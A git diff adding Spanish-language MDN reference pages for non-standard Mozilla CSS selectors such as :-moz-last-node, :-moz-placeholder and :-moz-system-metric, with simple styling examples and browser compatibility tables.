index 0000000000..f69c0d7ca3
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-handler-disabled/index.html
@@ -0,0 +1,23 @@
+---
+title: ':-moz-handler-disabled'
+slug: 'Web/CSS/:-moz-handler-disabled'
+tags:
+  - CSS
+  - No estandar
+  - Referencia CSS
+translation_of: 'Web/CSS/:-moz-handler-disabled'
+---
+<p>{{Non-standard_header}}{{ CSSRef() }}{{ gecko_minversion_header("1.9.1") }}</p>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p><code>:-moz-handler-disabled</code> selecciona elementos que no pueden ser mostrados porque sus manejadores han sido deshabilitados por el usuario.</p>
+
+<p>Es útil principalmente para desarrolladores de temas.</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{ cssxref(":-moz-handler-blocked") }}</li>
+ <li>{{ cssxref(":-moz-handler-crashed") }}</li>
+</ul>
diff --git a/files/es/web/css/_colon_-moz-last-node/index.html b/files/es/web/css/_colon_-moz-last-node/index.html
new file mode 100644
index 0000000000..a857fcd9df
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-last-node/index.html
@@ -0,0 +1,48 @@
+---
+title: ':-moz-last-node'
+slug: 'Web/CSS/:-moz-last-node'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - No estandar
+  - Referencia CSS
+translation_of: 'Web/CSS/:-moz-last-node'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La  <a href="/es/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-clase</a> <a href="/es/docs/Web/CSS">CSS</a> <code>:-moz-last-node</code> selecciona un elemento si es el último nodo hijo de algún otro elemento. Se diferencia de {{cssxref(":last-child")}} en que no selecciona el último elemento hijo si tiene texto (sin contar espacios en blanco) después de él.</p>
+
+<p class="note">Cualquier espacio en blanco al final de un elemento se ignora al usar <code>:-moz-last-node</code>.</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox"><var>span</var>:-moz-last-node {<em>propiedades del estilo</em> }
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">span:-moz-last-node {
+  background-color: lime;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;div&gt;
+  &lt;span&gt;:-moz-first-node&lt;/span&gt;
+  &lt;span&gt;:-moz-last-node&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Example", "220", "20")}}</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{cssxref(":-moz-first-node")}}</li>
+ <li>{{cssxref(":last-child")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_-moz-list-bullet/index.html b/files/es/web/css/_colon_-moz-list-bullet/index.html
new file mode 100644
index 0000000000..07415595a9
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-list-bullet/index.html
@@ -0,0 +1,46 @@
+---
+title: '::-moz-list-bullet'
+slug: 'Web/CSS/:-moz-list-bullet'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - No estandar
+  - Referencia CSS
+translation_of: 'Web/CSS/:-moz-list-bullet'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El  <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elemento </a><a href="/es/docs/Web/CSS">CSS </a>no-estándar <code>de Mozilla ::-moz-list-bullet</code>  se usa para establecer el estilo para los iconos que preceden a los elemento de una lista.</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox">li::-moz-list-bullet { <em>propiedades del estilo</em> }</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;Number 1&lt;/li&gt;
+  &lt;li&gt;Number 2&lt;/li&gt;
+  &lt;li&gt;Number 3&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;ul class="list"&gt;
+  &lt;li&gt;Number 1&lt;/li&gt;
+  &lt;li&gt;Number 2&lt;/li&gt;
+  &lt;li&gt;Number 3&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.list ::-moz-list-bullet { font-size: 36px; }</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{ EmbedLiveSample('Example', '', '', '', 'Web/CSS/:-moz-list-bullet') }}</p>
+
+<p> </p>
diff --git a/files/es/web/css/_colon_-moz-list-number/index.html b/files/es/web/css/_colon_-moz-list-number/index.html
new file mode 100644
index 0000000000..31747f5fe1
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-list-number/index.html
@@ -0,0 +1,45 @@
+---
+title: '::-moz-list-number'
+slug: 'Web/CSS/:-moz-list-number'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - No estandar
+  - Pseudo-elemento
+  - Referencia CSS
+translation_of: 'Web/CSS/:-moz-list-number'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El  <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elemento </a><a href="/es/docs/Web/CSS">CSS </a><code>::-moz-list-number</code> te permite personalizar la apariencia de los números de los elementos de lista  ({{HTMLElement("li")}}) en listas que sean listas ordenadas ({{HTMLElement("ol")}}).</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox">li::-moz-list-number { <em>style properties</em> }
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">li::-moz-list-number {
+  font-style: italic;
+  font-weight: bold;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;ol&gt;
+  &lt;li&gt;First item&lt;/li&gt;
+  &lt;li&gt;Second item&lt;/li&gt;
+  &lt;li&gt;Third item&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p><img alt="moz-list-number.png" class="default internal" src="/@api/deki/files/4668/=moz-list-number.png"><br>
+ {{EmbedLiveSample("Example")}}</p>
diff --git a/files/es/web/css/_colon_-moz-loading/index.html b/files/es/web/css/_colon_-moz-loading/index.html
new file mode 100644
index 0000000000..ba3eaff1c6
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-loading/index.html
@@ -0,0 +1,19 @@
+---
+title: ':-moz-loading'
+slug: 'Web/CSS/:-moz-loading'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - NeedsContent
+  - NeedsExample
+  - No estandar
+  - Referencia CSS
+translation_of: 'Web/CSS/:-moz-loading'
+---
+<div>{{CSSRef}}{{Non-standard_header}}{{gecko_minversion_header("1.9")}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La  <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase </a><a href="/es/docs/Web/CSS">CSS </a><code>:-moz-loading</code> selecciona elementos que no pueden mostrarse porque no aún no se han empezado a cargar, elementos como imágenes que todavía no han empezado a llegar. Destacar que las imágenes que están <em>en proceso de carga</em> no son seleccionadas por esta pseudo-clase.</p>
+
+<p>Principalmente es útil para desarrolladores de temas.</p>
diff --git a/files/es/web/css/_colon_-moz-locale-dir(ltr)/index.html b/files/es/web/css/_colon_-moz-locale-dir(ltr)/index.html
new file mode 100644
index 0000000000..a626dc93ee
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-locale-dir(ltr)/index.html
@@ -0,0 +1,28 @@
+---
+title: ':-moz-locale-dir(ltr)'
+slug: 'Web/CSS/:-moz-locale-dir(ltr)'
+tags:
+  - CSS
+  - Localización
+  - NeedsCompatTable
+  - NeedsExample
+  - No estandar
+  - Pseudo-clase
+  - Referencia CSS
+translation_of: 'Web/CSS/:-moz-locale-dir(ltr)'
+---
+<div>{{Non-standard_header}}{{CSSRef}} {{gecko_minversion_header("1.9.2")}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La <a href="/es/docs/Web/CSS/pseudo-classes">pseudo-clase</a> <a href="/es/docs/Web/CSS">CSS</a> <code>:-moz-locale-dir(ltr)</code>  selecciona un elemento si el interfaz del usuario se está mostrando de izquierda a derecha. Esto viene determinado cuando la opción de las preferencias  <code>intl.uidirection.<em>locale</em></code> (donde  <code><em>locale</em></code> es la localización de idioma actual) está estáblecido a "ltr".</p>
+
+<p>Esto permite que extensiones (y temas) puedan fácilmente adaptar su interfaz de usuario dependiendo de las necesidades del usuario en relación a la localización.Puede variar de ventana a ventana e incluso de pestaña a pestaña.  Permite que las extensiones funcionen incluso si no soportan esa preferencia del usuario siempre que puedan soportar izquierda-derecha o derecha-izquierda, sin preocuparse de las necesidades específicas con respecto a la localización.</p>
+
+<p>Este selector no funciona adecuadamente en HTML; siempre selecciona no importa si la localización del UI (Interfaz de Usuario) sea izquierda a derecha (left-to-right) o derecha a izqauierda (right-to-left).</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{Cssxref(":-moz-locale-dir(rtl)")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_-moz-locale-dir(rtl)/index.html b/files/es/web/css/_colon_-moz-locale-dir(rtl)/index.html
new file mode 100644
index 0000000000..8fdb2f9dfd
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-locale-dir(rtl)/index.html
@@ -0,0 +1,33 @@
+---
+title: ':-moz-locale-dir(rtl)'
+slug: 'Web/CSS/:-moz-locale-dir(rtl)'
+tags:
+  - CSS
+  - Localización
+  - NeedsCompatTable
+  - NeedsExample
+  - No estandar
+  - Pseudo-clase
+  - Referencia CSS
+translation_of: 'Web/CSS/:-moz-locale-dir(rtl)'
+---
+<div>{{Non-standard_header}}{{CSSRef}}{{gecko_minversion_header("1.9.2")}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La <a href="/es/docs/Web/CSS/pseudo-classes">pseudo-clase</a> <a href="/es/docs/Web/CSS">CSS</a> <code>:-moz-locale-dir(rtl)</code>  selecciona un elemento si el interfaz del usuario se está mostrando de derecha a izquierda. Esto viene determinado cuando la opción de las preferencias  <code>intl.uidirection.<em>locale</em></code> (donde  <code><em>locale</em></code> es la localización de idioma actual) está estáblecida a "rtl".</p>
+
+<p>Esto permite que extensiones (y temas) puedan fácilmente adaptar su interfaz de usuario dependiendo de las necesidades del usuario en relación a la localización.Puede variar de ventana a ventana e incluso de pestaña a pestaña.  Permite que las extensiones funcionen incluso si no soportan esa preferencia del usuario, siempre que puedan soportar izquierda-derecha o derecha-izquierda, sin preocuparse de las necesidades específicas con respecto a la localización.</p>
+
+<p>Este selector no funciona adecuadamente en HTML; nunca selecciona nada, no importa si la localización del UI (Interfaz de Usuario) sea izquierda a derecha (left-to-right) o derecha a izqauierda (right-to-left).</p>
+
+<p> </p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<p> </p>
+
+<ul>
+ <li>{{cssxref(":-moz-locale-dir(ltr)")}}</li>
+ <li><a href="/es/docs/Making_Sure_Your_Theme_Works_with_RTL_Locales">Aségurate que tu tema funciona con localizaciones RTL</a></li>
+</ul>
diff --git a/files/es/web/css/_colon_-moz-lwtheme-brighttext/index.html b/files/es/web/css/_colon_-moz-lwtheme-brighttext/index.html
new file mode 100644
index 0000000000..16421aa6f1
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-lwtheme-brighttext/index.html
@@ -0,0 +1,24 @@
+---
+title: ':-moz-lwtheme-brighttext'
+slug: 'Web/CSS/:-moz-lwtheme-brighttext'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - NeedsExample
+  - No estandar
+  - Referencia CSS
+translation_of: 'Mozilla/Gecko/Chrome/CSS/:-moz-lwtheme-brighttext'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La  <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <code>:-moz-lwtheme-brighttext</code> es seleccionada en los documentos chrome cuando  {{cssxref(":-moz-lwtheme")}} es true (verdadero) y se ha seleccionado un tema ligero con un color de texto brillante.</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{cssxref(":-moz-lwtheme")}}</li>
+ <li>{{cssxref(":-moz-lwtheme-darktext")}}</li>
+ <li><a href="es/Add-ons/Themes/Lightweight_themes">Temas Ligeros</a></li>
+</ul>
diff --git a/files/es/web/css/_colon_-moz-lwtheme-darktext/index.html b/files/es/web/css/_colon_-moz-lwtheme-darktext/index.html
new file mode 100644
index 0000000000..4cc595e8d1
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-lwtheme-darktext/index.html
@@ -0,0 +1,25 @@
+---
+title: ':-moz-lwtheme-darktext'
+slug: 'Web/CSS/:-moz-lwtheme-darktext'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - NeedsExample
+  - No estandar
+  - Referencia CSS
+  - Temas
+translation_of: 'Mozilla/Gecko/Chrome/CSS/:-moz-lwtheme-darktext'
+---
+<div>{{CSSRef}}{{non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <code>:-moz-lwtheme-darktext</code> es seleccionada en los documentos chrome cuando  {{cssxref(":-moz-lwtheme")}} es verdadero (true) y se ha seleccionado un tema ligero con un color de texto oscuro.</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{cssxref(":-moz-lwtheme")}}</li>
+ <li>{{cssxref(":-moz-lwtheme-brighttext")}}</li>
+ <li><a href="/es/Add-ons/Themes/Lightweight_themes">Temas Ligeros</a></li>
+</ul>
diff --git a/files/es/web/css/_colon_-moz-lwtheme/index.html b/files/es/web/css/_colon_-moz-lwtheme/index.html
new file mode 100644
index 0000000000..7ce4770c52
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-lwtheme/index.html
@@ -0,0 +1,26 @@
+---
+title: ':-moz-lwtheme'
+slug: 'Web/CSS/:-moz-lwtheme'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - NeedsExample
+  - No estandar
+  - Referencia CSS
+  - Temas
+  - Temas Ligeros
+translation_of: 'Mozilla/Gecko/Chrome/CSS/:-moz-lwtheme'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La  <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <code>:-moz-lwtheme</code> es verdadera y seleccionada en los documento chrome cuando el atributo {{xulattr("lightweightthemes")}} del elemento raíz es <code>true (verdadero)</code> y se ha seleccionado un tema</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{cssxref(":-moz-lwtheme-darktext")}}</li>
+ <li>{{cssxref(":-moz-lwtheme-brighttext")}}</li>
+ <li><a href="/es/Add-ons/Themes/Lightweight_themes">Temas Ligeros</a></li>
+</ul>
diff --git a/files/es/web/css/_colon_-moz-only-whitespace/index.html b/files/es/web/css/_colon_-moz-only-whitespace/index.html
new file mode 100644
index 0000000000..9c8f5e89ec
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-only-whitespace/index.html
@@ -0,0 +1,36 @@
+---
+title: ':-moz-only-whitespace'
+slug: 'Web/CSS/:-moz-only-whitespace'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - No estandar
+  - Pseudo-clase
+  - Referencia CSS
+translation_of: 'Web/CSS/:-moz-only-whitespace'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La  <a href="/en-US/docs/Web/CSS/Pseudo-classes">pseudo-class </a><a href="https://developer.mozilla.org/en-US/docs/Web/CSS">CSS</a><code>:-moz-only-whitespace</code> selecciona un elemento si no tiene ningún hijo, o bien nodos textos vacíos o bien nodos texto que sólo contienen espacios en blanco. Sólo cuando hay elementos o nodos texto con uno o más caracteres dentro, el elemento no será seleccionado por esta pseudo-clase.</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox"><var>span</var>:-moz-only-whitespace { <em>propiedades del estilo</em> }
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">span:-moz-only-whitespace::before {
+  background-color: lime;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;span&gt; &lt;/span&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Example", "50", "20")}}</p>
diff --git a/files/es/web/css/_colon_-moz-placeholder/index.html b/files/es/web/css/_colon_-moz-placeholder/index.html
new file mode 100644
index 0000000000..a3e0afd5b0
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-placeholder/index.html
@@ -0,0 +1,122 @@
+---
+title: ':-moz-placeholder'
+slug: 'Web/CSS/:-moz-placeholder'
+tags:
+  - CSS
+  - Marcador de Posición INPUT
+  - Marcador de posición
+  - No estándar(2)
+  - Placeholder
+  - Pseudo-Clase CSS
+  - Referencia CSS
+translation_of: 'Web/CSS/:placeholder-shown'
+---
+<div class="note"><strong>Nota:</strong> La pseudo-clase CSS <code>:-moz-placeholder</code> está depreciada desde la versión Firefox 19 siendo desde entonces sustituida por el pseudo-elemento {{cssxref('::-moz-placeholder')}}.</div>
+
+<div class="note"><strong>Nota: </strong> El CSSWG ha decidido introducir  <code>:placeholder-shown</code>. Esta funcionalidad volverá a ser incluida en Gecko en algún momento futuro, sin prefijo y con un nuevo nombre.  {{bug(1069012)}}</div>
+
+<div>{{deprecated_header}}{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p><code>La </code><a href="/es/docs/CSS/Pseudo-classes">pseudo-clase </a><code>:-moz-placeholder</code> representa a cualquier elemento que muestre un  <a href="/es/docs/Web/Guide/HTML/Forms_in_HTML#The_placeholder_attribute">texto del marcador de posición (placeholder)</a>. Permite a los desarrolladores web y a los diseñadores de tema personalizar la apariencia del texto de los marcadores de posición (placeholders) que, por defecto, son grises. Puede que esto no funcione bien si ha cambiado el color de fondo de los campos de sus formularios a un color similar así que, puede usar esta pseudo-clase para cambiar el color del texto de los marcadores de posición (placeholders).,</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Ejemplo_básico">Ejemplo básico</h3>
+
+<p>Este ejemplo le da estilo a un <em>placeholder</em> (marcador de posición) haciendo que el color del texto sea verde.</p>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;Placeholder demo&lt;/title&gt;
+  &lt;style type="text/css"&gt;
+    input::-moz-placeholder {
+      color: green;
+    }
+    input:-moz-placeholder {
+      color: green;
+    }
+  &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;input id="test" placeholder="Placeholder text!"&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Basic_example")}}</p>
+
+<h3 id="Desbordamiento">Desbordamiento</h3>
+
+<p>En numerosas ocasiones las cajas para las búsquedas y otros campos de los formularios son fuertemente acortados al ser mostrados en dispositivos móviles. Desafortunadamente , en algunas circunstancias, el texto del marcador de posición de los elementos INPUT no cabe y  es recortado de una manera poco afortunada y fea. Para evitar esto se puede usar la regla CSS <code>text-overflow: ellipsis</code> para envolverlo.</p>
+
+<pre class="brush: css">input[placeholder] { text-overflow: ellipsis; }
+::-moz-placeholder { text-overflow: ellipsis; } /* firefox 19+ */
+input:-moz-placeholder { text-overflow: ellipsis; }
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Implementado en {{bug("457801")}}.</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/Guide/HTML/Forms_in_HTML">Formularios en HTML</a></li>
+ <li>{{HTMLElement("input")}}</li>
+ <li>{{HTMLElement("textarea")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_-moz-submit-invalid/index.html b/files/es/web/css/_colon_-moz-submit-invalid/index.html
new file mode 100644
index 0000000000..75cd48a3f0
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-submit-invalid/index.html
@@ -0,0 +1,76 @@
+---
+title: ':-moz-submit-invalid'
+slug: 'Web/CSS/:-moz-submit-invalid'
+tags:
+  - CSS
+  - No estandar
+  - Pseudo clase CSS
+  - Referencia CSS
+translation_of: 'Web/CSS/:-moz-submit-invalid'
+---
+<p>{{Non-standard_header}}{{ CSSRef() }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La <a href="/es/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-clase</a> CSS <code>:-moz-submit-invalid</code>  representa cualquier botón de enviar de formularios cuyos contenidos no sean válidos conforme a las  <a href="/en/HTML/Forms_in_HTML#Constraint_Validation" title="es/HTML/HTML5/Forms in HTML5#Constraint Validation">restricciones de validación HTML</a>.</p>
+
+<p>Por defecto no se aplica ningún estilo. Puedes usar tu estilo para personalizar la apariencia del botón de enviar cuando existen campos no válidos en el formulario.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatGeckoDesktop("2") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatGeckoMobile("2") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{ cssxref(":valid") }}</li>
+ <li>{{ cssxref(":invalid") }}</li>
+ <li>{{ cssxref(":required") }}</li>
+ <li>{{ cssxref(":optional") }}</li>
+</ul>
diff --git a/files/es/web/css/_colon_-moz-suppressed/index.html b/files/es/web/css/_colon_-moz-suppressed/index.html
new file mode 100644
index 0000000000..554a4c55d8
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-suppressed/index.html
@@ -0,0 +1,19 @@
+---
+title: ':-moz-suppressed'
+slug: 'Web/CSS/:-moz-suppressed'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - NeedsContent
+  - NeedsExample
+  - No estandar
+  - Referencia CSS
+translation_of: 'Web/CSS/:-moz-suppressed'
+---
+<div>{{Non-standard_header}}{{CSSRef}}{{gecko_minversion_header("1.9")}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La  <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <a href="/es/docs/Web/CSS">CSS</a><code>:-moz-suppressed</code> selecciona elementos que representan a imágenes que no han sido cargadas por estar bloqueado el sitio del que provienen.</p>
+
+<p>Este selector está pensado sobre todo para los desarrolladores de temas.</p>
diff --git a/files/es/web/css/_colon_-moz-system-metric(images-in-menus)/index.html b/files/es/web/css/_colon_-moz-system-metric(images-in-menus)/index.html
new file mode 100644
index 0000000000..b99e17b59f
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-system-metric(images-in-menus)/index.html
@@ -0,0 +1,19 @@
+---
+title: ':-moz-system-metric(images-in-menus)'
+slug: 'Web/CSS/:-moz-system-metric(images-in-menus)'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - NeedsContent
+  - NeedsExample
+  - No estandar
+  - Referencia CSS
+translation_of: 'Archive/Web/CSS/:-moz-system-metric/images-in-menus'
+---
+<div>{{CSSRef}}{{Non-standard_header}}{{Fx_minversion_header(3)}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La   <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-class </a>CSS <code>:-moz-system-metric(images-in-menus)</code> selecciona un elemento si el interfaz de usuario del equipo soporta imágenes en menús.</p>
+
+<p>Está pensado sobre todo para desarrolladores de temas.</p>
diff --git a/files/es/web/css/_colon_-moz-system-metric(mac-graphite-theme)/index.html b/files/es/web/css/_colon_-moz-system-metric(mac-graphite-theme)/index.html
new file mode 100644
index 0000000000..981760b5de
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-system-metric(mac-graphite-theme)/index.html
@@ -0,0 +1,25 @@
+---
+title: ':-moz-system-metric(mac-graphite-theme)'
+slug: 'Web/CSS/:-moz-system-metric(mac-graphite-theme)'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - No estandar
+  - Referencia CSS
+translation_of: 'Archive/Web/CSS/:-moz-system-metric/mac-graphite-theme'
+---
+<div>{{Non-standard_header}}{{CSSRef}}{{gecko_minversion_header("1.9.1")}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p><code>La pseudo-clase CSS :-moz-system-metric(mac-graphite-theme)</code> seleccionará cualquier elemento si el usuario ha elegido la apariencia "Graphite" en el panel de preferencias  "Appearance"  dentro de la sección de preferencias de sistema de Mac OS X.</p>
+
+<p>Este selector está pensado sobre todo para desarrolladores de temas</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p><a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=332586">Demo</a></p>
+
+<h2 id="Bugzilla">Bugzilla</h2>
+
+<p>{{Bug(448767)}}</p>
diff --git a/files/es/web/css/_colon_-moz-system-metric(scrollbar-end-backward)/index.html b/files/es/web/css/_colon_-moz-system-metric(scrollbar-end-backward)/index.html
new file mode 100644
index 0000000000..00239c5bd1
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-system-metric(scrollbar-end-backward)/index.html
@@ -0,0 +1,73 @@
+---
+title: ':-moz-system-metric(scrollbar-end-backward)'
+slug: 'Web/CSS/:-moz-system-metric(scrollbar-end-backward)'
+tags:
+  - CSS
+  - NeedsContent
+  - NeedsExample
+  - No estándar(2)
+  - Pseudo clase CSS
+  - Referencia CSS
+translation_of: 'Archive/Web/CSS/:-moz-system-metric/scrollbar-end-backward'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a><code> </code><a href="/es/docs/Web/CSS">CSS </a><code>:-moz-system-metric(scrollbar-end-backward)</code> seleccionará un elemento  si el interfaz de usuario del equipo incluye un botón de flecha hacia atrás al final de las barras de desplazamiento o barras de scroll.</p>
+
+<p>Está pensado sobre todo para desarrolladores de temas</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ningún estándar.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
